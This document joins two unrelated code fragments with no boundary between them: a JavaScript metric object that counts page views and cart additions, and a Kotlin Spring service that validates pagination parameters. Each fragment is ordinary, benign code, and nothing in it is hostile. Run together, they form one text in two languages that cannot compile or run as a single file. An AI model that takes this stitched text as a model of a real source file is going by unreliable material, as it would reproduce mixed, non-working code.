var TotalViewsMetric = { name: 'view_totals', initialData: {total: 0, cartAdds: 0}, interval: 50, // ms incrementCallback: function(view) { this.data.total += 1; this.minuteData.total = (this.minuteData.total || 0) + 1; if(view.event() && view.event() === "cart_add") { this.data.cartAdds += 1; this.minuteData.cartAdds = (this.minuteData.cartAdds || 0) + 1; } } }; for (var i in TotalViewsMetric) exports[i] = TotalViewsMetric[i];
package fm.force.quiz.core.service import am.ik.yavi.builder.ValidatorBuilder import fm.force.quiz.common.dto.PaginationParams import fm.force.quiz.common.dto.PaginationQuery import fm.force.quiz.configuration.properties.PaginationValidationProperties import fm.force.quiz.core.exception.ValidationError import fm.force.quiz.core.validator.intConstraint import org.springframework.stereotype.Service @Service class PaginationService(private val paginationProps: PaginationValidationProperties) { val validator = ValidatorBuilder.of<PaginationQuery>() .intConstraint(PaginationQuery::page, 1..Int.MAX_VALUE) .intConstraint(PaginationQuery::pageSize, paginationProps.minPageSize..paginationProps.maxPageSize) .build() fun validate(paginationQuery: PaginationQuery) = validator .validate(paginationQuery) .throwIfInvalid { ValidationError(it) } fun getPagination(paginationQuery: PaginationQuery): PaginationParams { validate(paginationQuery) return PaginationParams( page = (paginationQuery.page ?: 1) - 1, pageSize = paginationQuery.pageSize ?: paginationProps.minPageSize ) } }